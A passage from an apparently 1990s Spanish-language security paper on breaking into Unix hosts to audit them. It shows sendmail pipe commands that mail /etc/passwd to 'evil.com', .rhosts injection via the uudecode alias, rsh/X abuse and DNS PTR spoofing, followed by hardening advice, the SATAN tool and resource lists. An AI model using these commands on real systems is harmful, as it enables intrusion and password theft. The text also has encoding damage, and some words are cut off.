  643. evil % tcpmap victim.com
  644.  Mapping 128.128.128.1
  645.  port 21: ftp
  646.  port 23: telnet
  647.  port 25: smtp
  648.  port 37: time
  649.  port 79: finger
  650.  port 512: exec
  651.  port 513: login
  652.  port 514: shell
  653.  port 515: printer
  654.  port 6000: (X)
  655.  
  656. Esto sugiere que victim.com esta corriendo X windows. Si no esta 
  657. correctamente protegido (por via de la cookie magica,magic cookie, o por 
  658. mecanismos xhost), el contenido de las ventanas podria capturarse u 
  659. observarse, lo que teclean los usuarios robado, ejecutar programas 
  660. remotamente, etc. Tambien, si la victima esta usando X windows y acepta un 
  661. telnet por el puerto 6000 (X), esto podria ser usado para un ataque de 
  662. denegacion de servicio (denial of service attack), ya que el sistema de 
  663. ventanas de la victima se suele mantener ôcongeladoö por unos instantes. Un 
  664. metodo para determinar la vulnerabilidad de un servidor X (corriendo X 
  665. windows) es el de conectarse al mismo por medio de la funcion 
  666. XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes 
  667. acceder al display de la victima (opendisplay es parte de SATAN):
  668.  
  669. char   *hostname;
  670.  
  671. if (XOpenDisplay(hostname) == NULL) {
  672.    printf("Cannot open display: %s\n", hostname);
  673. } else {
  674.    printf("Can open display: %s\n", hostname);
  675. }
  676.  
  677. evil % opendisplay victim.com:0
  678. Cannot open display: victim.com:0
  679.  
  680. Los terminales X, aunque mucho menos potentes que un sistema UNIX completo, 
  681. pueden tener sus propios problemas de seguridad. Muchos terminales X 
  682. permiten accesos rsh no restringidos, permitiendote iniciar programas 
  683. clientes X en el terminal de la victima apareciendo los resultados en tu 
  684. propia pantalla:
  685.  
  686. evil % xhost +xvictim.victim.com
  687. evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  688.  
  689. En cualquier caso, dale la misma importancia a la seguridad de tu sistema 
  690. de ventanas, como a la de tu sistema de archivos y utilidades de red, ya 
  691. que si no puede comprometer tu sistema igual que un ô+ö en el host.equiv o 
  692. una cuenta root sin password.
  693. Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo 
  694. que tiene un largo historial de problemas de seguridad, incluyendo el 
  695. infame comando ôwizö (por suerte hace mucho que se deshabilito en todas las 
  696. maquinas). A menudo puedes determinar el sistema operativo, a veces hasta 
  697. la version, de la victima, mirando al numero de version de sendmail. Esto, 
  698. nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los 
  699. muchos bugs. Adicionalmente, puedes ver si usan el alias ôdecodeö, que 
  700. posee su propio set de problemas:
  701.  
  702. evil % telnet victim.com 25
  703. connecting to host victim.com (128.128.128.1.), port 25
  704. connection open
  705. 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
  706. PDT
  707. expn decode
  708. 250 <"|/usr/bin/uudecode">
  709. quit
  710.  
  711. El usar el alias ôdecodeö es un riesgo de seguridad û permite a los 
  712. atacantes en potencia sobreescribir cualquier fichero que fuese escribible 
  713. por el poseedor de ese alias û a menudo un daemon, pero potencialmente 
  714. cualquier usuario. Considera este trozo de mail û esto pondra a ôevil.comö 
  715. en el archivo .rhost del usuario zen si es que fuera escribible.
  716.  
  717. evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail 
  718. decode@victim.com
  719.  
  720. Si no se conocen o no hay home directories escribibles, una interesante 
  721. variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que 
  722. contenga un alias con un comando que quieras ejecutar en tu victima. Esto 
  723. puede funcionar debido a que en muchos sistemas los archivos aliases.pag y 
  724. aliases.dir, que controlan los alias de mail del sistema, son escribibles 
  725. para todo el mundo.
  726.  
  727. evil % cat decode
  728. bin: "| cat /etc/passwd | mail zen@evil.com"
  729. evil % newaliases -oQ/tmp -oA`pwd`/decode
  730. evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  731. evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  732.  
  733. Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una 
  734. direccion es aceptable (vrfy), o hasta donde se expande una direccion 
  735. (expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn 
  736. pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn 
  737. pueden tambien ser usados para descubrir si el usuario esta ejecutando mail 
  738. por medio de cualquier programa susceptible de ser explotado (ej, vacation, 
  739. mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos 
  740. vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del 
  741. archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura 
  742. CmdTab que tengan los strings ôvrfyö y ôexpnö. Sites sin codigo pueden 
  743. tambien desabilitarlos simplemente editando el ejecutable del sendmail con 
  744. un editor binario y reemplazando ôvrfyö y ôexpnö por espacios en blanco.
  745. El adquirir una version reciente del sendmail (ver apendice D) es tambien 
  746. una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail 
  747. que encualquier otro programa UNIX.
  748. os bugs muy conocidos que deben ser tratados. El primero fue 
  749. definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los  
  750. mensajes de abajo, para versiones de sendmail previas a la 5.59, ôevil.comö 
  751. se a±ade, a pesar de los mensajes de error, junto con los tipicos headers 
  752. del mail, al archivo especificado:
  753.  
  754. % cat evil_sendmail
  755.  telnet victim.com 25 << EOSM
  756.  rcpt to: /home/zen/.rhosts
  757.  mail from: zen
  758.  data
  759.  random garbage
  760.  .
  761.  rcpt to: /home/zen/.rhosts
  762.  mail from: zen
  763.  data
  764.  evil.com
  765.  .
  766.  quit
  767.  EOSM
  768.  
  769.  evil % /bin/sh evil_sendmail
  770.  Trying 128.128.128.1
  771.  Connected to victim.com
  772.  Escape character is '^]'.
  773.  Connection closed by foreign host.
  774.  evil % rlogin victim.com -l zen
  775.      Welcome to victim.com!
  776.  victim %
  777.  
  778. El segundo agujero, recientemente solucionado, permitia a cualquiera 
  779. especificar comandos arbitrarios de shell y/o caminos de ruta para el 
  780. remitente y/o direccion de destino. Los intentos por mantener los detalles 
  781. en secreto fueron en vano, y extensas discusiones en listas de correo o 
  782. grupos de news de usenet llevaron a revelar como explotar los bugs de 
  783. algunas versiones. Como en muchos bugs de UNIX, casi todas las 
  784. distribuciones de sendmail eran vulnerables al problema, ya que todas 
  785. compartian un ancestral codigo fuente comun. El espacio nos impide 
  786. discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero 
  787. de passwords seria de la siguiente manera:
  788.  
  789. evil % telnet victim.com 25
  790.  Trying 128.128.128.1...
  791.  Connected to victim.com
  792.  Escape character is '^]'.
  793.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  794.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  795.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  796.  rcpt to: nosuchuser
  797.  550 nosuchuser... User unknown
  798.  data
  799.  354 Enter mail, end with "." on a line by itself
  800.  .
  801.  250 Mail accepted
  802.  quit
  803.  Connection closed by foreign host.
  804.  evil %
  805.  
  806. Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver 
  807. apendice D para informacion sobre como conseguirlo) es la unica variante 
  808. del sendmail con todos los bugs recientes corregidos (ni de co±a J).
  809.  
  810. Confianza                 
  811.  
  812. Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la 
  813. estrategia practica que hemos seguido previamente para meternos un poco mas 
  814. en la parte teorica, y discutir brevemente la nocion de la confianza. Las 
  815. cuestiones e implicaciones de la vulnerabilidad aquφ, son un poco mas 
  816. sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en 
  817. el contexto de este texto usamos la palabra confianza siempre que se da la 
  818. situacion de que un servidor (siempre que un host permite acceso remoto se 
  819. le puede llamar servidor) permita que un recurso local sea usado por un 
  820. cliente sin autentificacion de password cuando dicha autentificacion es 
  821. normalmente requerida. En otras palabras, limitamos arbitrariamente la 
  822. discusion a los clientes ôdisfrazadosö.
  823.  
  824. Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y 
  825. hosts.equiv que permiten el acceso sin verificacion de password; servidores 
  826. basados en ventanas que permiten a los sistemas remotos el uso y abuso de 
  827. privilegios; archivos exportados que controlan el acceso via NFS, y mas.
  828.  
  829.  
  830. Casi todos estos dependen de la conversion del IP del cliente al nombre del 
  831. host para determinar si se concede el servicio o no. El metodo mas simple 
  832. usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en 
  833. dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos 
  834. para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando 
  835. un servidor tiene una direccion IP (de una conexi≤n de un cliente) y desea 
  836. coger el correspondiente nombre del host del cliente.
  837.  
  838. Auqnue el concepto de como funciona la confianza del host es bien sabido 
  839. por muchos administradores de sistema, los peligros de la confianza, y el 
  840. problema practico que representa, sin tomar en consideracion la 
  841. interpretacion del nombre del host, es uno de los problemas menos 
  842. entendidos que conocemos en Internet. Esto va mas alla de los obvios 
  843. ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas û de hecho, 
  844. muchos de los utiles servicios en UNIX estan basados en el concepto de que 
  845. sites bien conocidos (para un administrador o ususario) son de alguna 
  846. manera de confianza. Lo que no se entiende es como las redes atan de forma 
  847. tan estrecha la seguridad entre lo que normalmente se consideran hosts 
  848. inconexos.
  849.  
  850. Cualquier forma de confianza puede ser enga±ada, burlada, o derribada, 
  851. especialmente cuando la autoridad que tiene la responsabilidad de chequear 
  852. los credenciales de un cliente esta o bien fuera del dominio administrativo 
  853. del servidor, o cuendo el mecanismo de confianza esta basado de alguna 
  854. forma en metodo que tiene una forma debil de autentificacion; normalmente 
  855. ambos son el caso.
  856.  
  857. Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo 
  858. que sea) ha sido comprometido, el intruso puede convencer al host victima 
  859. de que el viene de cualquier host de confianza; ahora es suficiente con 
  860. encontrar que hosts son de confianza para la victima. Esta tarea es en gran 
  861. medida facilitada examinado de donde los administradores de sistema y las 
  862. cuentas del sistema (tales como root, etc.) se conectaron por ultima vez. 
  863. Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi 
  864. como otras cuentas del sistema se conectaron desde big.victim.com. Cambias 
  865. el registro PTR para evil.com de forma que cuando intentes hacer un rlogin 
  866. (login remoto) desde evil.com a victim.com, evil.com intentara buscar tu 
  867. nombre de host y encontrara lo que pusistes en el registro. Si el registro 
  868. en la base de datos DNS es asi:
  869.  
  870. 1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  871.  
  872. y lo cambias por:
  873.  
  874. 1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  875.  
  876. entonces, dependiendo de como sea de ingenuo el software de victim.com, 
  877. victim.com creera que el acceso proviene de big.victim.com, y, asumiendo 
  878. que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te 
  879. sera posible aceder sin tener que proporcionar un password. Con NIS, es 
  880. cuestion de o bien editar la base de datos del host en el NIS maestro (si 
  881. es que este esta controlado por el intruso) o de burlar o forzar el NIS 
  882. (ver discusion sobre la seguridad del NIS arriba) para proporcionar a la 
  883. victima cualquier informacion que desees. Aunque mas complejos, da±inos e 
  884. interesantes ataques pueden ser realizados por medio del DNS, el tiempo y 
  885. el espacio no permiten cubrir dichos metodos aquφ.
  886.  
  887. Dos metodos puedem ser usados para prevenir dichos ataques. El primero es 
  888. el mas directo, pero quizas mas poco practico. Si tu site no usa ningun 
  889. metodo de confianza, no seras tan vulnerable al enga±o de host. La otra 
  890. estrategia es la de usar protocolos encriptados. El usar el seguro 
  891. protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido 
  892. ôrotoö criptograficamente, aun da mas seguridad que los procedimientos de 
  893. autentificacion RPC que no usan ningun tipo de metodo de encriptacion. 
  894. Otras soluciones, tanto de hardware (smartcards) como de software 
  895. (Kerberos), estan siendo desarroladas, pero estan o bien incompletas o 
  896. requieren cambios en el software de el sistema.
  897.  
  898. El apendice B detalla los resultados de un estudio informal tomado de una 
  899. variedad de hosts en Internet.
  900.  
  901. rotegiendo el sistema
  902.  
  903.  
  904. Es nuestra esperanza el que hallamos demostrado que incluso algunos de los 
  905. aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente) 
  906. pueden ser ômunicionö para determinados crackers de sistemas. Pero, por 
  907. supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores 
  908. jamas estarian encendidos, y enganchados a una red con literalmente 
  909. millones de intrusos en potencia. Mas que dar avisos de que deberia o no 
  910. ncenderse, ofreceremos algunas sugerencias generales:
  911.  
  912.   Si no puedes quitar el servicio finger, considera el instalar un nuevo     
  913. finger daemon. Es raramente necesario el revelar el home directory de un 
  914. usuario y la procedencia de su ultimo acceso.
  915.  
  916.   No corras NIS a menos que sea absolutamente necesario. Usalo lo menos 
  917. posible.
  918.  
  919.   Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo. 
  920. Trata de exportar sistemas de archivos de solo lectura cuando sea 
  921. posible.
  922.  
  923.   ôFortificaö y protege los servidores (ej, los hosts que dan un servicio 
  924. a otros hosts û NFS, NIS, DNS, o lo que sea.). Solo permite cuentas 
  925. administrativas en dichos hosts.
  926.  
  927.   Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador 
  928. de puertos (pormapper). Elimina todos aquellos que no sean totalmente 
  929. necesarios. Usa los inetd wrappers de Wietse Venema, no para otra 
  930. funcion que la de tener un log de las fuentes de conexiones a tu host. 
  931. Esto aporta grandes mejoras a las caracteristicas de verificacion 
  932. standard de UNIX, especialmente con referencia a los ataques de red. Si 
  933. es posible, usa los metodos loghost de syslog para obtener informacion 
  934. relacionada con la seguridad en un host seguro.
  935.  
  936.   Elimina los metodos de confianza a menos que su uso sea totalmente 
  937. necesario. La confianza es tu enemigo.
  938.   Usa passwords shadowed y el comando passwd para rechazar passwords 
  939. pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o 
  940. inactivas.
  941.  
  942.  
  943.   Estate al tanto de la literatura actual (observa la lista de lectura y 
  944. bibliografua sugerida al final de este documento) y de las herramientas 
  945. de seguridad; informa a los demas acerca de problemas e incidentes de 
  946. seguridad. Como minimo, suscribete a la lista de mail del CERT y de la 
  947. revista PHRACK (ademas de la lista de mail de los firewalls, si tu site 
  948. esta usando o piensa instalar firewalls) y lee los grupos de news de 
  949. usenet acerca de seguridad para asi obtener la ultima informacion sobre 
  950. problemas de seguridad. La ignorancia es el problema de seguridad mas 
  951. mortal de los que estamos al tanto.
  952.  
  953.   Instala todos los parches de seguridad tan pronto como sea posible, en 
  954. todos tus hosts. Examina la informacion de los parches de seguridad de 
  955. otras distribuciones û muchos bugs (rdist, sendmail) son comunes en 
  956. muchas variantes UNIX.
  957.  
  958. Es interesante el ver que soluciones comunes para problemas de seguridad , 
  959. tales como usar Kerberos o el usar passwords de usar y tirar o tokens 
  960. digitales no son efectivas contra muchos de los ataques discutidos aquφ. 
  961. Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son 
  962. la solucion TOTAL a los problemas de seguridad û son parte de un esfuerzo 
  963. ayor de proteger tu sistema.
  964.  
  965. Conclusiones
  966.  
  967. Tal vez ninguno de los metodos expuestos aquφ sean sorprendentes; cuando se 
  968. escribio este documento, no aprendimos mucho sobre como irrumpir en 
  969. sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros 
  970. propios sistemas y en sites amigos, lo efectivos que son estos metodos a la 
  971. hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar 
  972. de teclear todo esto a mano, y deseando mantener nuestros propios sistemas 
  973. mas seguros, decidimos poner en practica una herramienta de seguridad 
  974. (SATAN) que trata de chequear hosts remotos al menos para alguno de los 
  975. problemas discutidos aquφ. La tipica respuesta, cuando informabamos a la 
  976. gente acerca de nuestro documento y nuestra herramienta, era algo del 
  977. estilo de ôeso suena bastante peligroso û espero que no vayas a darlo a 
  978. todo cristo. Pero ya que tu confias en mi, podria tener una copia?ö
  979.  
  980. Jamas pensamos en crear un cookbook o una herramienta de metodos y 
  981. programas soobre/para irrumpir en sistemas û en vez de eso, vemos que estos 
  982. mismos metodos fueron usados, todos los dias, contra nosotros y contra 
  983. administradores de sistema amigos. Creemos que el propagar la informacion 
  984. que normalmente no era accesible para aquellos que estuvieran fuera del 
  985. underworld, podemos aumentar la seguridad incrementando la conciancia del 
  986. peligro.. El intentar restringir el acceso a informacion ôpeligrosaö sobre 
  987. seguridad nunca ha sido un metodo muy util para incrementar la seguridad; 
  988. de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas 
  989. han sido reticentes a la hora de compartir informacion con otros.
  990.  
  991.  
  992. Mientras es casi seguro que alguna de la informacion aquφ presentada es 
  993. material nuevo para aspirantes a crackers de sistemas, y que algunos la 
  994. usaran para ganarse accesos no autorizados en hosts, la evidencia 
  995. presentada por nuestros tests muestra que hay un monton de sites inseguros, 
  996. simplemente por que el administrador de sistema no sabe mucho mas û no son 
  997. estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que 
  998. tienen libre explorando todas las materias de seguridad pertenecientes a 
  999. sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil 
  1000. a este tipo de informacion da como resultado sistemas pobremente 
  1001. defendidos. 
  1002.  
  1003. Esperamos (modetamente) que este documento provea de datos muy necesarios 
  1004. sobre como los sistemas son crackeados, y mas aun, explique por que se 
  1005. deben de dar ciertos pasos para proteger un sistema. El saber por que algo 
  1006. es un problema es, en nuestra opinion, la clave para aprender y hacer una 
  1007. eleccion informada e inteleginte para lo que la seguridad de tu sistema 
  1008. significa de verdad.
  1009. -----
  1010. Apendice A:
  1011. SATAN (Security Analysis Tool for Auditing Networks)
  1012.  
  1013. Concebido originalmente hace unos a±os, SATAN es actualmente el prototipo 
  1014. de una vision mas amplia y comprensible de una herramineta de seguridad. En 
  1015. su encarnacion actual, SATAN prueba e informa remotamente acerca de varios 
  1016. bugs y debilidades en servicios de red y sistemas basados en ventanas, asi 
  1017. como tambien detalla tanta informacion util sobre la victima como le es 
  1018. posible. Entonces procesa los datos con un filtro y con lo que se 
  1019. calificaria como un sistema experto para al final generar el analisis de 
  1020. seguridad. A pesar de no ser particularmente rapido, es extremadamente 
  1021. adaptable y facil de modificar.
  1022.  
  1023.  
  1024. SATAN consiste en varios sub-programas, cada uno de los cuales es un 
  1025. fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que 
  1026. testea un host para una debilidad potencial dada. El a±adir futuros 
  1027. programas de testeo es tan facil como poner un ejecutable en el directorio 
  1028. principal con la extension ô.satö; el programa principal lo ejecutara 
  1029. automaticamente. Este genera una serie de blancos (usando DNS y una version 
  1030. rapida de ping a la vez para llegar a los blancos en directo), y despues 
  1031. ejecuta cada uno de los programas sobre cada uno de los blancos. Un 
  1032. programa de interpretacion/filtrado de datos analiza despues el resultado, 
  1033. y finalmente un programa de informes digiere todo para ponerlo en un 
  1034. formato mas leible.
  1035.  
  1036. El paquete entero, incluyendo el codigo fuente y la documentacion, estara 
  1037. disponible libremente al publico, via ftp anonimo y postenadolo a uno de 
  1038. los numerosos foros sobre codigo fuente de Usenet.
  1039.  
  1040. Apendice B
  1041.  
  1042. Un estudio informal llevado a cabo en al menos una docena de sites en 
  1043. Internet (educacionales, militares, y comerciales, con unos 200 hosts y 
  1044. 4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un 
  1045. site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts 
  1046. confiados; sin embargo, no era raro el tener unas 100 entradas en el 
  1047. archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba 
  1048. alrededor de 500! (Este no es un record del que uno deberia estar orgulloso 
  1049. de poseer). Adicionalmente, cada uno de los sites directamente en Internet 
  1050. (un site estaba practicamente tras un firewall) confiaba en un usuario o 
  1051. host en otro site û asi que, la seguridad del site no estaba bajo el 
  1052. control directo del administrador de sistema. Los sites mas grandes, con 
  1053. mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con 
  1054. archivos .rhosts, pero el tama±o de estos archivos era mayor, asi como el 
  1055. numero de hosts remotos de confianza.
  1056.  
  1057. Aunque fue muy dificil el verificar cuantas de las entradas fueron validas, 
  1058. con nombres de host tales como "Makefile", "Message-Id:", and
  1059. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de wildcard, nos 
  1060. cuestionamos la sensatez de poner la seguridad de un site en manos de sus 
  1061. usuarios. Muchos usuarios (especialmente los poseedores de largos archivos 
  1062. .rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts, 
  1063. que son intentados reolver como nombre de host validos por muchos sistemas 
  1064. UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS 
  1065. y NIS de enga±o del nombre de host discutidas antes para fijar sus nombres 
  1066. de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites 
  1067. (al menos una distribucion es dada con comentarios en sus archivos 
  1068. /etc/hosts.equiv).
  1069.  
  1070. Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran. 
  1071. Virtualmente todos los administradores saben un monton sobre seguridad y 
  1072. escriben programas de seguridad como hobby o como profesion, y muchos de 
  1073. los sites para los que trabajaron hicieron estudios de seguridad o crearon 
  1074. roductos de seguridad. Solo podemos suponernos como sera un site ôtipicoö.
  1075. apendice C:
  1076.  
  1077. Despues de recibir mail de un site que habia sido violado desde uno de 
  1078. nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos 
  1079. que el intruso estaba haciendolo desde una lista de sites ô.comö 
  1080. (comerciales), buscando hosts con ficheros de password faciles de robar. En 
  1081. este caso, ôfacil de robarö se refiere a sites con un nobre de dominio NIS 
  1082. facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos 
  1083. habia llegado el intruso, parecia una buena idea el alertar a los sites que 
  1084. eran en si vulnerables al robo de passwords. De los 656 hosts de la lista 
  1085. del intruso, 24 tenian archivos de password susceptibles de robo û 1 de 
  1086. cada 25 hosts mas o menos!!. Un tercio de estos archivos  contenia al menos 
  1087. una cuenta sin password con shell interactivo. Con un total de 1594 
  1088. entradas, a una media de 10 minutos corriendo un password cracker (Crack) 
  1089. daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja.
  1090. Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de 
  1091. la cuenta root se encontro en solo 1 hora. El resultado despues de unos 
  1092. dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%) 
  1093. con al menos un password conocido, y 259 de 1594 (1 sexto) passwords 
  1094. adivinados.
  1095.  
  1096. Apendice D:
  1097.  
  1098. Como conseguir metodos de seguridad gratis en Internet
  1099.  
  1100. Listas de mail:
  1101. o The CERT (Computer Emergency Response Team) advisory mailing list.
  1102. Mandar e-mail a cert@cert.org, y pedir que se te ponga en su lista de mail.
  1103.  
  1104. o  The Phrack newsletter.  Mandar e-mail a phrack@well.sf.ca.us y pedir que 
  1105. se te a±ada en la lista.
  1106.  
  1107. o  The Firewalls mailing list. majordomo@greatcircle.com 
  1108. Poner lo siguiente:
  1109.  
  1110.     subscribe firewalls
  1111.  
  1112. o  Computer Underground Digest.  Mandar e-mail a
  1113. tk0jut2@mvs.cso.niu.edu, pidiendo que te pongan en la lista.
  1114.  
  1115. Software gratis:
  1116.  
  1117.  
  1118. COPS (Computer Oracle and Password System) disponible via ftp
  1119. anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.
  1120.  
  1121. The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl,
  1122. in pub/security.
  1123.  
  1124.  
  1125. Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.
  1126.  
  1127. TAMU is a UNIX auditing tool that is part of a larger suite of excellent
  1128. tools put out by a group at the Texas A&M University.  They can be
  1129. gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
  1130.  
  1131.  
  1132. Sources for ftpd and many other network utilities can be found in
  1133. ftp.uu.net, in packages/bsd-sources.
  1134.  
  1135.  
  1136. Source for ISS (Internet Security Scanner), a tool that remotely scans
  1137. for various network vulnerabilities, is available via anonymous ftp from
  1138. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  1139.  
  1140.  
  1141. Securelib is available via anonymous ftp from ftp.uu.net, in
  1142. usenet/comp.sources.misc/volume36/securelib.
  1143.  
  1144.  
  1145. The latest version of berkeley sendmail is available via anonymous ftp
  1146. from ftp.cs.berkeley.edu, in ucb/sendmail.
  1147.  
  1148. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
  1149. ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
  1150.  
  1151.